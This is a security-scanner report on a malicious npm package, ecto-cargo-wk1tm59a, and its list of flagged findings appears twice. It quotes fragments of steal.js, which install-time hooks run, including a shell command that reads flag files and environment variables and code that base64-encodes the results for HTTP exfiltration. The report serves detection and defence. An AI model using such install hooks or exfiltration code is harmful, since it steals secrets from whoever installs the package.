ecto-cargo-wk1tm59a@99.0.0: Malicious npm security report (Block) | LPM Firewall

Loading npm security reports…

ecto-cargo-wk1tm59a@99.0.0: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

9 flagged · loading source

package.jsonView file

•scripts.postinstall = node steal.js postinstall

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.preinstall = node steal.js preinstall

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.postinstall = node steal.js postinstall

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

steal.jsView file

2const fs = require('fs'); L3: const cp = require('child_process'); L4: const http = require('http'); L5: const https = require('https'); ... L15: data += tryCmd('cat /flag* /root/flag* /app/flag* 2>/dev/null; find / -maxdepth 4 -iname "flag*" 2>/dev/null | head -n 20; env | grep -iE "flag|htb"'); L16: const b64 = Buffer.from(data).toString('base64'); L17: const host = tryCmd('hostname').trim(); ... L35: req.on('error',res); req.setTimeout(5000,()=>{req.destroy();res();}); L36: req.write(body); req.end(); L37: }catch(e){res();}

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

steal.jsView on unpkg · L2

2const fs = require('fs'); L3: const cp = require('child_process'); L4: const http = require('http'); L5: const https = require('https'); ... L15: data += tryCmd('cat /flag* /root/flag* /app/flag* 2>/dev/null; find / -maxdepth 4 -iname "flag*" 2>/dev/null | head -n 20; env | grep -iE "flag|htb"'); L16: const b64 = Buffer.from(data).toString('base64'); L17: const host = tryCmd('hostname').trim(); ... L35: req.on('error',res); req.setTimeout(5000,()=>{req.destroy();res();}); L36: req.write(body); req.end(); L37: }catch(e){res();}

Critical

Command Output Exfiltration

Source executes local commands and sends command output to an external endpoint.

steal.jsView on unpkg · L2

2Trigger-reachable chain: scripts.preinstall -> steal.js L2: const fs = require('fs'); L3: const cp = require('child_process'); L4: const http = require('http'); L5: const https = require('https'); ... L15: data += tryCmd('cat /flag* /root/flag* /app/flag* 2>/dev/null; find / -maxdepth 4 -iname "flag*" 2>/dev/null | head -n 20; env | grep -iE "flag|htb"'); L16: const b64 = Buffer.from(data).toString('base64'); L17: const host = tryCmd('hostname').trim(); ... L35: req.on('error',res); req.setTimeout(5000,()=>{req.destroy();res();}); L36: req.write(body); req.end(); L37: }catch(e){res();}

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

steal.jsView on unpkg · L2

2const fs = require('fs'); L3: const cp = require('child_process'); L4: const http = require('http');

High

Child Process

Package source references child process execution.

steal.jsView on unpkg · L2

ecto-cargo-wk1tm59a-99.0.0.tgzView file

•path = ecto-cargo-wk1tm59a-99.0.0.tgz kind = compressed_blob sizeBytes = 1347 magicHex = [redacted]

Medium

Ships Compressed Blob

Package ships compressed or archive-like blobs.

ecto-cargo-wk1tm59a-99.0.0.tgzView on unpkg

•path = ecto-cargo-wk1tm59a-99.0.0.tgz kind = nested_archive_needs_inspection sizeBytes = 1347 magicHex = [redacted]

Low

Nested Archive Needs Inspection

Package ships a nested archive or MCP bundle that was inventoried but not recursively analyzed.

ecto-cargo-wk1tm59a-99.0.0.tgzView on unpkg

Source & flagged code

9 flagged

package.jsonView file

•scripts.postinstall = node steal.js postinstall

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.preinstall = node steal.js preinstall

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.postinstall = node steal.js postinstall

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

steal.jsView file

2const fs = require('fs'); L3: const cp = require('child_process'); L4: const http = require('http'); L5: const https = require('https'); ... L15: data += tryCmd('cat /flag* /root/flag* /app/flag* 2>/dev/null; find / -maxdepth 4 -iname "flag*" 2>/dev/null | head -n 20; env | grep -iE "flag|htb"'); L16: const b64 = Buffer.from(data).toString('base64'); L17: const host = tryCmd('hostname').trim(); ... L35: req.on('error',res); req.setTimeout(5000,()=>{req.destroy();res();}); L36: req.write(body); req.end(); L37: }catch(e){res();}

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

steal.jsView on unpkg · L2

2const fs = require('fs'); L3: const cp = require('child_process'); L4: const http = require('http'); L5: const https = require('https'); ... L15: data += tryCmd('cat /flag* /root/flag* /app/flag* 2>/dev/null; find / -maxdepth 4 -iname "flag*" 2>/dev/null | head -n 20; env | grep -iE "flag|htb"'); L16: const b64 = Buffer.from(data).toString('base64'); L17: const host = tryCmd('hostname').trim(); ... L35: req.on('error',res); req.setTimeout(5000,()=>{req.destroy();res();}); L36: req.write(body); req.end(); L37: }catch(e){res();}

Critical

Command Output Exfiltration

Source executes local commands and sends command output to an external endpoint.

steal.jsView on unpkg · L2

2Trigger-reachable chain: scripts.preinstall -> steal.js L2: const fs = require('fs'); L3: const cp = require('child_process'); L4: const http = require('http'); L5: const https = require('https'); ... L15: data += tryCmd('cat /flag* /root/flag* /app/flag* 2>/dev/null; find / -maxdepth 4 -iname "flag*" 2>/dev/null | head -n 20; env | grep -iE "flag|htb"'); L16: const b64 = Buffer.from(data).toString('base64'); L17: const host = tryCmd('hostname').trim(); ... L35: req.on('error',res); req.setTimeout(5000,()=>{req.destroy();res();}); L36: req.write(body); req.end(); L37: }catch(e){res();}

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

steal.jsView on unpkg · L2

2const fs = require('fs'); L3: const cp = require('child_process'); L4: const http = require('http');

High

Child Process

Package source references child process execution.

steal.jsView on unpkg · L2

ecto-cargo-wk1tm59a-99.0.0.tgzView file

•path = ecto-cargo-wk1tm59a-99.0.0.tgz kind = compressed_blob sizeBytes = 1347 magicHex = [redacted]

Medium

Ships Compressed Blob

Package ships compressed or archive-like blobs.

ecto-cargo-wk1tm59a-99.0.0.tgzView on unpkg

•path = ecto-cargo-wk1tm59a-99.0.0.tgz kind = nested_archive_needs_inspection sizeBytes = 1347 magicHex = [redacted]

Low

Nested Archive Needs Inspection

Package ships a nested archive or MCP bundle that was inventoried but not recursively analyzed.

ecto-cargo-wk1tm59a-99.0.0.tgzView on unpkg